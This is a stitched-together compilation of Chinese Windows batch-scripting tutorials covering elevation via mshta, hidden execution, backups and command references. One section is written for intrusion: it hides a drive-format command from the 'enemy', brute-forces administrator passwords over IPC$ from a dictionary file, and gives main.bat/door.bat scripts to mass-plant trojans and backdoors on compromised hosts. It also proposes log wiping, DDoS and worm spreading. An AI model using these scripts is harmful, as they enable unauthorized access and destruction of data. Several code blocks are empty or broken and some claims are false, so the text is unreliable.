用批处理启动应用程序
- 格式:doc
- 大小:122.50 KB
- 文档页数:7
CMD命令⾏中以管理员权限启动应⽤程序实现⽅法很多时候我们需要管理员权限来运⾏bat那么就需要结合vbscript来实现了⽅法⼀:%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit常⽤@echo offmode con lines=30 cols=60%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exitcd /d "%~dp0"rem 下⾯可以写你的bat代码了⽅法⼆:@echo off%1 %2ver|find "5.">nul&&goto :stmshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :st","","runas",1)(window.close)&goto :eof:stcopy "%~0" "%windir%\system32\"原理类似ShellExecute methodRun a script or application in the Windows Shell.Syntax.ShellExecute "application", "parameters", "dir", "verb", window.ShellExecute 'some program.exe', '"some parameters with spaces"', , "runas", 1Keyapplication The file to execute (required)parameters Arguments for the executabledir Working directoryverb The operation to execute (runas/open/edit/print)window View mode application window (normal=1, hide=0, 2=Min, 3=max, 4=restore, 5=current, 7=min/inactive, 10=default) Note the different (double " and single ' ) quotes that can be used to delimit paths with spaces.The runas verb is undocumented but can be used to elevate permissions. When a script is run with elevated permissions several aspects of the user environment may change: The current directory, the current TEMP folder and any mapped drives will be disconnected.runas will fail if you are running in WOW64 (a 32 bit process on 64 bit windows) for example%systemroot%\syswow64\cmd.exe ...The ShellExecute method is a member of the IShellDispatch2 object.ExamplesRun a batch script with elevated permissions, flag=runas:Set objShell = CreateObject("Shell.Application")objShell.ShellExecute "E:\demo\batchScript.cmd", "", "", "runas", 1Run a VBScript with elevated permissions, flag=runas:Set objShell = CreateObject("Shell.Application")objShell.ShellExecute "cscript", "E:\demo\vbscript.vbs", "", "runas", 1“If you don't execute your ideas, they die” ~ Roger Von OechRelated:Run with elevated permissions - Script to run as Admin.Exec - Execute command, returning an object.Run - Run a command - CPAU (Create Process As User) like RunAs but with an options to encrypt the password.Equivalent CMD command: ShellRunAs - Run a command under a different user account批处理⽂件中的%~dp0表⽰含义~是扩展的意思,相当于把⼀个相对路径转换绝对路径%0代指批处理⽂件⾃⾝%1表⽰批处理⽂件命令⾏接收到的第⼀个参数,%2表⽰第⼆个,以此类推%~d0 是指批处理所在的盘符,其中d代表drive%~p0 是指批处理所在的⽬录,其中p代表path%~dp0 是批处理所在的盘符加路径cd %~dp0 就是进⼊批处理所在⽬录了详细解释还可参考命令 call /?⾃从Vista带来了UAC之后,应⽤程序就变成了两种,有管理员权限的,和没有管理员权限的。
批处理简易教程一、什么是批处理批处理(Batch),也称为批处理脚本。
顾名思义,批处理就是对某对象进行批量的处理。
批处理文件的扩展名为bat 。
目前比较常见的批处理包含两类:DOS批处理和PS批处理。
PS批处理是基于强大的图片编辑软件Photoshop的,用来批量处理图片的脚本;而DOS批处理则是基于DOS命令的,用来自动地批量地执行DOS命令以实现特定操作的脚本。
这里要讲的就是DOS批处理。
批处理是一种简化的脚本语言,它应用于DOS和Windows系统中,它是由DOS或者Windows系统内嵌的命令解释器(通常是或者CMD.EXE)解释运行。
类似于Unix中的Shell脚本。
批处理文件具有.bat或者.cmd的扩展名,其最简单的例子,是逐行书写在命令行中会用到的各种命令。
更复杂的情况,需要使用if,for,goto等命令控制程序的运行过程,如同C,Basic等中高级语言一样。
如果需要实现更复杂的应用,利用外部程序是必要的,这包括系统本身提供的外部命令和第三方提供的工具或者软件。
批处理文件,或称为批处理程序,是由一条条的DOS命令组成的普通文本文件,可以用记事本直接编辑或用DOS命令创建,也可以用DOS下的文本编辑器Edit.exe来编辑。
在“命令提示”下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe运行该批处理程序。
一般情况下,每条命令占据一行;当然也可以将多条命令用特定符号(如:&、&&、|、||等)分隔后写入同一行中;还有的情况就是像if、for等较高级的命令则要占据几行甚至几十几百行的空间。
系统在解释运行批处理程序时,首先扫描整个批处理程序,然后从第一行代码开始向下逐句执行所有的命令,直至程序结尾或遇见exit命令或出错意外退出。
二、简单批处理命令简介【echo 命令】打开回显或关闭请求回显功能,或显示消息。
如果没有任何参数,echo 命令将显示当前回显设置。
基础部分:======================================================================一、基础语法:1.批处理文件是一个“.bat”结尾的文本文件,这个文件的每一行都是一条DOS命令。
可以使用任何文本文件编辑工具创建和修改。
2.批处理是一种简单的程序,可以用 if 和 goto 来控制流程,也可以使用 for 循环。
3.批处理的编程能力远不如C语言等编程语言,也十分不规范。
4.每个编写好的批处理文件都相当于一个DOS的外部命令,把它所在的目录放到DOS搜索路径(path)中,即可在任意位置运行。
5.C:\AUTOEXEC.BAT 是每次系统启动时都会自动运行的,可以将每次启动时都要运行的命令放入该文件中。
6.大小写不敏感(命令符忽略大小写)7.批处理的文件扩展名为 .bat 或 .cmd。
8.在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe来运行该文件。
二、参数:1) 系统参数%SystemRoot% === C:\WINDOWS (%windir% 同样)%ProgramFiles% === C:\Program Files%USERPROFILE% === C:\Documents and Settings\Administrator (子目录有“桌面”,“开始菜单”,“收藏夹”等)%APPDATA% === C:\Documents and Settings\Administrator\Application Data%TEMP% === C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp (%TEM% 同样)%APPDATA% === C:\Documents and Settings\Administrator\Application Data%OS% === Windows_NT (系统)%Path% === %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem (原本的设置) %HOMEDRIVE% === C: (系统盘)%HOMEPATH% === \Documents and Settings\Administrator:: 枚举当前的环境变量setlocal enabledelayedexpansionFOR /F "usebackq delims==" %%i IN (`set`) DO @echo %%i !%%i!2) 传递参数给批处理文件%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。
windows批处理命令教程类型:转载批处理文件是无格式的文本文件,它包含一条或多条命令。
它的文件扩展名为 .bat 或 .cmd。
在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们批处理文件是无格式的文本文件,它包含一条或多条命令。
它的文件扩展名为 .bat 或 .cmd。
在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。
使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。
当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。
下面就开始我们批处理学习之旅吧。
一.简单批处理内部命令简介1.echo 命令打开回显或关闭请求回显功能,或显示消息。
如果没有任何参数,echo 命令将显示当前回显设置。
语法echo [{on|off}] [message]Sample:@echo off / echo hello world在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off@echo Now initializing the program,please wait a minite...@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。
)3.goto 命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
如何让批处理程序启动的时候最⼩化复制代码代码如下:@echo offif "%1"=="h" goto beginstart mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit:begin::以下为正常批处理命令,不可含有pause set/p等交互命令××××××××解释:这个是⽤ mta 的脚本语⾔利⽤ VBScript 创建了windows 中 wscript.shell该控件,⽤这个控件⾥⾯提供的 run ⽅法后台运⾏的这个批处理, mst脚本语⾔就是相当于 html 应⽤程序,不管⽤什么脚本语⾔,只要能创建 windows系统提供的wscript.shell这个空间,⽤这个空间⾥⾯的run⽅法打开我们也可以⽤mta脚本语⾔⾥⾯JavaScript⼀样能⾏ @echo off ::批处理隐藏运⾏ if "%1"=="h" goto begin mshta "javascript:new ActiveXObject('wscript.shell').run('%~nx0h',0);window.close();"&&exit ::要运⾏的代码 :begin echo OK pause>nul mta脚本语⾔其实和html语⾔基本⼀样,mta脚本语⾔是⽤mshta程序解析的,html是⽤浏览器解析的(IE)建议看下html脚本语⾔就明⽩了,这不是⽤的格式为vbs⽂件的那个脚本语⾔,vbs脚本⽂件是⽤wscript解析的只要记住⽤⽤ mshta vbscript:createobject("插件名")(window.close) 这⾥window.close是那个 mshta 本⾝⾥⾯的⽅法,就是关闭该程序。
windows应用场景下自动备份文件和文件夹的批处理脚本在Windows应用场景下,我们经常需要自动备份文件和文件夹。
这可以确保我们的数据安全,并且在意外情况下能够方便地恢复文件。
自动备份的一种简单有效的方法是使用批处理脚本。
本文将介绍如何编写并使用批处理脚本来实现自动备份。
一、创建批处理脚本首先,我们需要创建一个新的文本文件,为其命名为“backup.bat”。
确保文件扩展名为“.bat”。
然后,将以下代码复制粘贴到“backup.bat”文件中:```batch@echo offset source_path=C:\path\to\sourceset backup_path=C:\path\to\backupxcopy /E /C /I /H /R /K /Y %source_path% %backup_path%echo Backup completed.```在上述代码中,我们使用了xcopy命令来执行备份操作。
其中,“source_path”是要备份的文件或文件夹的路径,“backup_path”是备份存储的路径。
你需要根据实际情况修改这两个变量的值。
xcopy命令的选项解释:- /E:复制文件夹及其所有子文件夹和文件- /C:继续复制,即使出错- /I:如果目标是一个目录或包含有目录的文件,而且源文件不包含有目录,则复制的目标文件或目录将具有与源文件相同的文件名和目录路径- /H:复制文件和隐藏文件- /R:覆盖只读文件- /K:复制文件属性和时间戳- /Y:不提示确认覆盖二、使用批处理脚本进行备份完成批处理脚本的创建后,我们可以直接双击运行脚本文件,即可执行备份操作。
脚本将根据上述定义的源路径和备份路径来执行备份。
此外,如果希望脚本在后台默默执行,而不显示命令行窗口,可以将批处理脚本的扩展名从“.bat”修改为“.cmd”,并在脚本开头加入以下代码:```batch@echo off```这样脚本将在后台运行,而不会显示命令行窗口。
windows命令⾏中启动应⽤程序⽬的:效果⽅法1. 创建批处理脚本2. 设定环境变量3. 测试功能4. 扩展功能⽬的:在windows的命令⾏界⾯中,输⼊简单的⼏个字符就可以启动相应的应⽤程序。
例如:输⼊mail,E-mail就⾃⾏启动,⼗分⽅便。
以后就不⽤在电脑桌⾯上放那么多菜:)效果⽅法以E-mail为例⼦来说明具体的实现⽅法1. 创建批处理脚本创建路径C:\other\shell(根据⾃⼰爱好创建存放脚本的路径)在此路径下新建⼀个⽂本⽂件,如mail.txt在此⽂件中写⼊下⾯的代码@echo offecho Start APP E-mailstart "dummyclient" "C:/Program Files (x86)/Microsoft Office/Office14/OUTLOOK.exe"echo successfully open the App1234此处的outlook路径要更该成你的!保存⽂件,并把⽂件名更改为mail.cmd2. 设定环境变量⾸先右键点击桌⾯上 “我的电脑” ->>”属性”->>”⾼级系统设置”->>”环境变量”->>”系统变量”然后双击变量“”路径”,把C:\other\shell加⼊其中3. 测试功能⾸先打开命令⾏cmd,快捷键”win+R” 输⼊”cmd” 按Enter键然后在命令⾏中输⼊”mail”E-mail 就会⾃⾏启动特别注意:a. ⽂件名是和命令相关的。
上⾯的⽂件名是mail.cmd, 命令名就是mailb. ⽂件取名长度最好2-4个字符,字符太长不⽅便输⼊4. 扩展功能按照⽅法中的1-3,我们同样可以启动其他应⽤程序,只要新建⼀个⽂档gvim.cmd, 程序更改为:。
批处理实现定时关机和定时启动程序批处理是一种可以自动化执行一系列命令的脚本语言。
在批处理中,可以通过控制命令来实现定时关机和定时启动程序。
首先,我们来看如何实现定时关机。
1.定时关机在批处理中,可以使用`shutdown`命令来实现定时关机。
该命令的格式如下:```shutdown [/s] [/r] [/t xxx] [/f]```其中,`/s`表示关机,`/r`表示重启。
`/t xxx`表示等待xxx秒后执行关机操作,默认为30秒。
`/f`表示强制关闭不响应的应用程序。
例如,要实现在每天的晚上10点定时关机,可以使用以下命令:```batch```在批处理中,可以使用`start`命令来启动程序。
该命令的格式如下:```start "标题" /D "路径" "程序名" 参数```其中,`/D"路径"`表示指定要启动程序所在的路径。
`"程序名"`表示要启动的程序名称。
`参数`表示程序启动时需要的参数。
例如,要实现在每天的早上8点定时启动记事本程序,可以使用以下命令:```batchstart "" /D "C:\Windows\System32" notepad.exe```这样就可以在执行该批处理后,打开记事本程序。
综上所述,我们可以通过批处理实现定时关机和定时启动程序。
将上述命令放到一个批处理文件中,然后将该文件设置为定时任务即可实现自动执行。
下面是一个完整的例子,该批处理文件可以在每天的晚上10点关机,并在第二天的早上8点启动记事本程序:```batchrem 定时关机start "" /D "C:\Windows\System32" notepad.exe```通过批处理可以实现定时关机和定时启动程序,方便我们自动化执行一系列操作。
批处理常用命令及用法大全说明:本文来自网络,由youxi01整理,由liqiochi修改完善。
阅读本文需要一定的dos基础概念,象:盘符、文件、目录(文件夹)、子目录、根目录、当前目录每个命令的完整说明请加/? 参数参考微软的帮助文档可以看到,在/? 帮助里,"命令扩展名"一词会经常出现"命令扩展名"是指相对于win98的dos版本而言,每个命令新增的功能命令测试环境win2000proSP4win98的命令功能太少,就不作研究了注:如果对某一命令还不是很熟悉,可以在命令行窗口下输入:命令名/?的方式来获得帮助。
例如:对dir命令的应用不熟悉,可以在命令行窗口下输入:dir /?参数只列举常用参数。
注:errorlevel,msd,undelete在win7下不存在。
目录1.echo 和@回显控制命令 (3)2.shutdown 关机 (3)3.dir显示目录中的文件和子目录列表 (4)4.cd更改当前目录 (4)5.md创建目录 (5)6.rd删除目录 (5)7.del删除文件 (5)8.ren文件和文件夹重命名 (6)9.cls清屏 (6)10.type显示文件内容 (6)11.copy拷贝文件(只能复制文件) (6)12.title设置cmd窗口的标题 (7)13.ver显示系统版本 (7)bel 和vol设置卷标 (7)15.pause暂停命令 (7)16.rem 和::注释命令 (7)17.date 和time日期和时间 (8)18.goto 和:跳转命令 (8)19.find (外部命令)查找命令 (8)20.more (外部命令)逐屏显示 (9)21.tree显示目录结构 (9)22.&顺序执行多条命令,而不管命令是否执行成功 (9)23.&&顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令 . 924.||顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令 (9)25.|管道命令,前一个命令的执行结果输出到后一个命令 (10)附:批处理for中的管道转义|,尖号 (10)26.>和>>输出重定向命令 (10)27.<从文件中获得输入信息,而不是从屏幕上 (11)28.%0 %1 %2 %3 %4 %5 %6 %7 %8 %9 %* 命令行传递给批处理的参数 (11)29.set设置变量 (12)30.start (14)31.call (15)32.choice (外部命令)选择命令 (15)33.assoc和ftype文件关联 (16)34.attrib (16)35.move 把文件或文件夹从A处移动到B处 (17)36.xcopy (外部命令)文件拷贝 (17)37.一些不常用的内部命令 (18)38.format (外部命令)格式化硬盘 (18)39.ping (外部命令) (19)40.SC (外部命令)服务控制命令 (19)41.pushd 和popd 切换当前目录 (19)42.findstr 字符串查找增强 (19)行首、行尾符规则,即^ 和$ (21)字符集规则,即[class] (21)减法规则,即[^class] (21)单词前缀后缀定位规则,即\<xyz和xyz\> (22)43.at 在特定日期和时间运行命令和程序。
一、介绍Process.Start方法Process.Start是.NET Framework中的一个方法,用于启动一个新的进程,并且可以指定要启动的应用程序或文档的文件路径。
它是System.Diagnostics命名空间中的一个静态方法,可以在C#和其他.NET语言中使用。
二、Process.Start方法的参数1. 文件路径:Process.Start方法的主要参数是一个字符串类型的文件路径,它指定了要启动的应用程序或文档的位置。
2. 其他参数:除了文件路径之外,Process.Start方法还可以接受其他参数,比如命令行参数、工作目录等。
三、使用Process.Start方法启动应用程序1. 启动本地应用程序:通过指定应用程序的可执行文件路径来启动一个本地应用程序。
2. 启动系统内置应用程序:通过使用系统内置的可执行文件路径来启动一些常用的应用程序,比如计算器、记事本等。
四、使用Process.Start方法打开文档1. 打开文档:可以通过指定文档文件的路径来打开文档,比如Word文档、Excel表格、PDF文档等。
2. 指定关联程序:如果系统中有关联的默认程序可以打开该类型的文档,可以直接使用Process.Start方法来打开文档,系统会自动调用关联的默认程序来打开文档。
五、Process.Start方法的其他用途1. 打开网页:可以通过指定浏览器可执行文件的路径以及网页位置区域来打开特定的网页。
2. 执行其他可执行文件:Process.Start方法还可以用于执行其他的可执行文件,比如批处理文件、PowerShell脚本等。
六、注意事项1. 权限问题:在一些操作系统中,由于权限限制,可能无法启动某些应用程序或打开某些文档。
2. 文件路径格式:应当确保指定的文件路径是正确的,并且使用了正确的格式。
七、示例代码下面是一个使用Process.Start方法打开记事本的示例代码:```C#using System;using System.Diagnostics;class Program{static void Main(){Process.Start("notepad.exe");}}```八、总结Process.Start方法是一个非常便利的方法,可以用于启动应用程序、打开文档、打开网页等操作。
当一个程序启动或退出时,让另一个程序随其启动或退出,使用这种方法往往可以提高工作效率。
比如,为了节约有效的资源,不上网时可退出实时病毒检测程序,上网时又让其随网络连接的打开而自动运行等。
让一个程序随另一程序的启动而自动运行控制来自微软的程序这类程序包括两类:一是随Windows安装的程序,如IE、OE、图画程序、写字板、记事本等;二是来自微软的应用程序如Microsoft Office下的Word、Excel、PowerPoint等。
要控制此类程序的启动,使用批处理文件就行了,与其它程序相比,不需要在批处理中指明绝对路径,下面举例说明。
Windows自带的“写字板”用于处理一般的文本文档已足够了,但它不像Word那样自带内容丰富的符号库,怎样让Windows自带的“字符映射表”(这下面也有很多符号)程序随“写字板”的打开而自动打开呢?步骤1:在硬盘任一位置新建一个目录,专门用于存放要建立的批处理文件。
为方便叙述,设这个目录是d:\bat。
步骤2:查找“字符映射表”的安装位置及启动程序。
在开始菜单下找到“字符映射表”的快捷方式,右击,选择“属性”,打开图1所示的窗口,切换到“快捷方式”选项卡下,注意观察“目标”后的内容:%SystemRoot%\System32\:这指出了它的安装目录,要注意的是两个%之间的内容表示Windows的安装目录,一般是c:\windows。
charmap.exe则表示启动“字符映射表”的可执行程序。
如果有兴趣的话,可试一下在图1中单击“查找目录”,就能直达“字符映射表”程序的安装目录,双击charmap.exe,你就会看到“字符映射表”程序打开。
同理,可查出“写字板”的安装目录及执行程序是C:\Program Files\Windows NT\Accessories\wordpad.exe。
步骤3:创建批处理。
在d:\bat目录下创建一个文本文件,内容只包含以下两行:start wordpadstart charmap写完以上内容后,选择“文件”|“另存为”,注意,选择“另存为”后,必须在“保存类型”下选择“所有文件”,文件名可任意,但扩展名必须是bat,如图2所示。
批处理文件BAT命令大全之邯郸勺丸创作1.Echo 命令打开回显或封闭请求回显功效,或显示消息.如果没有任何参数,echo 命令将显示当前回显设置.语法echo [{on│off}] [message]Sample:@echo off / echo hello world在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格局的文件中.这将在以后的例子中体现出来.2.@ 命令暗示不显示@ 后面的命令,在入侵过程中(例如使用批处理来格局化敌人的硬盘)自然不克不及让对方看到你使用的命令啦 . Sample:@echo off@echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不成以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的.)3.Goto 命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令.语法:goto label (label是参数,指定所要转向的批处理程序中的行.)Sample:if {%1}=={} goto noparmsif {%2}=={} goto noparms(如果这里的if、%1、%2就是暗示变量.)@Rem check parameters if null show usage:noparmsecho Usage: monitor.bat ServerIP PortNumbergoto end标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来暗示这个字母是标签, : 开头的字符行 , 在批处理中都被视作标号 , 而直接忽略其后的所有内容 , 只是为了与正常的标号相区别 , 建议使用 goto 所无法识此外标号 , 即在 : 后紧跟一个非字母数字的一个特殊符号 . goto 命令就是按照这个:来寻找下一步跳到到那里.最好有一些说明这样你他人看起来才会理解你的意图啊.4.Rem 命令注释命令,起一个注释的作用,便于他人阅读和你自己日后修改. Rem MessageSample:@Rem Here is the description.5.Pause 命令运行 Pause 命令时,将显示下面的消息:Press any key to continue . . .Sample:@echo off:begincopy a:*.* d: \backecho Please put a new disk into driver Apausegoto begin在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back 中.显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您改换磁盘,然后按任意键继续处理.6.Call 命令从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序.call 命令接受用作调用目标的标签.如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用.语法call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]参数[Drive:}[Path] FileName指定要调用的批处理程序的位置和名称.filename 参数必须具有 .bat 或 .cmd 扩展名.7.start 命令调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用.入侵经常使用参数:MIN 开始时窗口最小化SEPARATE 在分隔的空间内开始 16 位 Windows 程序HIGH 在 HIGH 优先级类别开始应用程序REALTIME 在 REALTIME 优先级类别开始应用程序WAIT 启动应用程序并等候它结束parameters 这些为传送到命令/程序的参数执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就前往命令提示.如果在命令脚本内执行,该新行为则不会产生.8.choice 命令choice 使用此命令可以让用户输入一个字符,从而运行不合的命令.使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格.它的前往码为 1234......如 : choice /c:dme defrag,mem,end将显示defrag,mem,end[D,M,E]?Sample:Sample.bat的内容如下 :@echo offchoice /c:dme defrag,mem,endif errorlevel 3 goto defrag (应先判断数值最高的错误码)if errorlevel 2 goto memif errotlevel 1 goto end:defragc:\dos\defraggoto end:memmemgoto end:endecho good bye此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择 d m e ,然后if语句将作出判断,d暗示执行标号为defrag的程序段,m暗示执行标号为mem的程序段,e暗示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束.9.If 命令if 暗示将判断是否合适规定的条件,从而决定执行不合的命令. 有三种格局 :a、if "参数" == "字符串" 待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,不然运行下一句.(注意是两个等号)如 if "%1"=="a" format a:if {%1}=={} goto noparmsif {%2}=={} goto noparmsb 、if exist 文件名待执行的命令如果有指定的文件,则条件成立,运行命令,不然运行下一句.c 、if errorlevel / if not errorlevel 数字待执行的命令如果前往码等于指定的数字,则条件成立,运行命令,不然运行下一句.如if errorlevel 2 goto x2DOS程序运行时都会前往一个数字给DOS,称为错误码errorlevel 或称前往码,罕见的前往码为0、1.10.for 命令for 命令是一个比较庞杂的命令,主要用于参数在指定的规模内循环执行命令.在批处理文件中使用 FOR 命令时,指定变量请使用 %%variablefor {%variable│%%variable} in (set) do command [ CommandLineOptions]%variable 指定一个单一字母可替换的参数.(set) 指定一个或一组文件.可以使用通配符.command 指定对每个文件执行的命令.command-parameters 为特定命令指定参数或命令行开关.在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable而不要用 %variable.变量名称是区分大小写的,所以 %i 不合于 %I如果命令扩展名被启用,下列额定的 FOR 命令格局会受到支持: FOR /D %variable IN (set) DO command [command-parameters]如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配. FOR /R [[drive:]path] %variable IN (set) DO command [command-检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句.如果在 /R 后没有指定目录,则使用当前目录.如果集仅为一个单点(.)字符,则枚举该目录树.FOR /L %variable IN (start,step,end) DO command [command-para该集暗示以增量形式从开始到结束的一个数字序列.因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1). FOR /F ["options"] %variable IN (file-set) DO commandFOR /F ["options"] %variable IN ("string") DO commandFOR /F ["options"] %variable IN ('command') DO command或者,如果有 usebackq 选项:FOR /F ["options"] %variable IN (file-set) DO commandFOR /F ["options"] %variable IN ("string") DO commandFOR /F ["options"] %variable IN ('command') DO command filenameset 为一个或多个文件名.继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理.处理包含读取文件,将其分红一行行的文字,然后将每行解析成零或更多的符号.然后用已找到的符号字符串变量值调用 For 循环.以默认方法,/F 通过每个文件的每一行中分隔的第一个空白符号.跳过空白行.您可通过指定可选 "options" 参数替代默认解析操纵.这个带引号的字符串包含一个或多个指定不合解析选项的关头字.这些关头字为:eol=c - 指一个行注释字符的结尾(就一个 )skip=n - 指在文件开始时忽略的行数.delims=xxx - 指分隔符集.这个替换了空格和跳格键的默认分隔符集.tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 自己.这会导致额定变量名称的格局为一个规模.通过 nth 符号指定 m 符号字符串中的最后一个字符星号, 那么额定的变量将在最后一个符号解析之分派并接受行的保存文本.usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi 中使用双引号扩起文件名称.sample1:FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command会阐发 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号.请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k 来取得第三个符号后的所有剩余符号.对于带有空格的文件名,您需要用双引号将文件名括起来.为了用这种方法来使用双引号,您还需要使用usebackq 选项,不然,双引号会被理解成是用作定义某个要阐发的字符串的.%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的.您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量.请记住,FOR 变量是单一字母、分大小写和全局的;同时不克不及有 52 个以上都在使用中.您还可以在相邻字符串上使用 FOR /F 阐发逻辑;办法是,用单引号将括号之间的 filenameset 括起来.这样,该字符串会被当作一个文件中的一个单一输入行.最后,您可以用 FOR /F 命令来阐发命令的输出.办法是,将括号之间的 filenameset 酿成一个反括字符串.该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件阐发.因此,以下例子:FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i会枚举当前环境中的环境变量名称.另外,FOR 变量参照的替换已被增强.您现在可以使用下列选项语法:~I - 删除任何引号("),扩充 %I%~fI - 将 %I 扩充到一个完全合格的路径名%~dI - 仅将 %I 扩充到一个驱动器号%~pI - 仅将 %I 扩充到一个路径%~nI - 仅将 %I 扩充到一个文件名%~xI - 仅将 %I 扩充到一个文件扩展名%~sI - 扩充的路径只含有短名%~aI - 将 %I 扩充到文件的文件属性%~tI - 将 %I 扩充到文件的日期/时间%~zI - 将 %I 扩充到文件的大小%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称.如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串可以组合修饰符来得到多重结果:%~dpI - 仅将 %I 扩充到一个驱动器号和路径%~nxI - 仅将 %I 扩充到一个文件名和扩展名%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径.%~ftzaI - 将 %I 扩充到类似输出线路的 DIR在以上例子中,%I 和 PATH 可用其他有效数值代替.%~ 语法用一个有效的 FOR 变量名终止.选取类似 %I 的大写变量名比较易读,并且避免与不分大小写的组合键混淆.以上是MS的官方帮忙,下面我们举几个例子来具体说明一下For 命令在入侵中的用途.sample2 :利用For命令来实现对一台目标Win2k主机的暴力密码破解.我们用net use \\ip\ipc$ "password" /u:"administrator"来测验考试这和目标主机进行连接,当成功时记下密码.最主要的命令是一条: for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"用i%来暗示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接.然后将程序运行结果传递给find命令--for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ": 命令成功完成">>D:\ok.txt ,这样就ko了.sample3 :你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:).文章开头就谈到使用批处理文件,可以简化日常或重复性任务.那么如何实现呢?呵呵,看下去你就会明白了.主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%ktokens的用法请拜见上面的sample1,在这里它暗示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k.而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用前往码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件. delims= 暗示vivtim.txt中的内容是一空格来分隔的.我想看到这里你也一定明白这victim.txt里的内容是什么样的了.应该按照%%i %%j %%k暗示的对象来排列,一般就是ip password username.代码雏形:--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------@echo off@if "%1"=="" goto usage@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k@goto end:usage@echo run this batch in dos modle.or just double-click it. :end--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------@net use \\%1\ipc$ %3 /u:"%2"@if errorlevel 1 goto failed@echo Trying to establish the IPC$ connection ............OK:failed@echo Sorry can not connected to the victim.----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------尚可扩展,例如:加入清除日志+DDOS的功效,加入定时添加用户的功效,更深入一点可以使之具备自动传播功效(蠕虫).此处未几做叙述,有兴趣的朋友可自行研究.批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况其实未几见,我们就不考虑它了.@echo offif "%1"=="a" format a::format@format a:/q/u/auotset@echo please insert another disk to driver A.@pause@goto fomat这个例子用于连续地格局化几张软盘,所以用的时候需在dos窗口输入fomat.bat 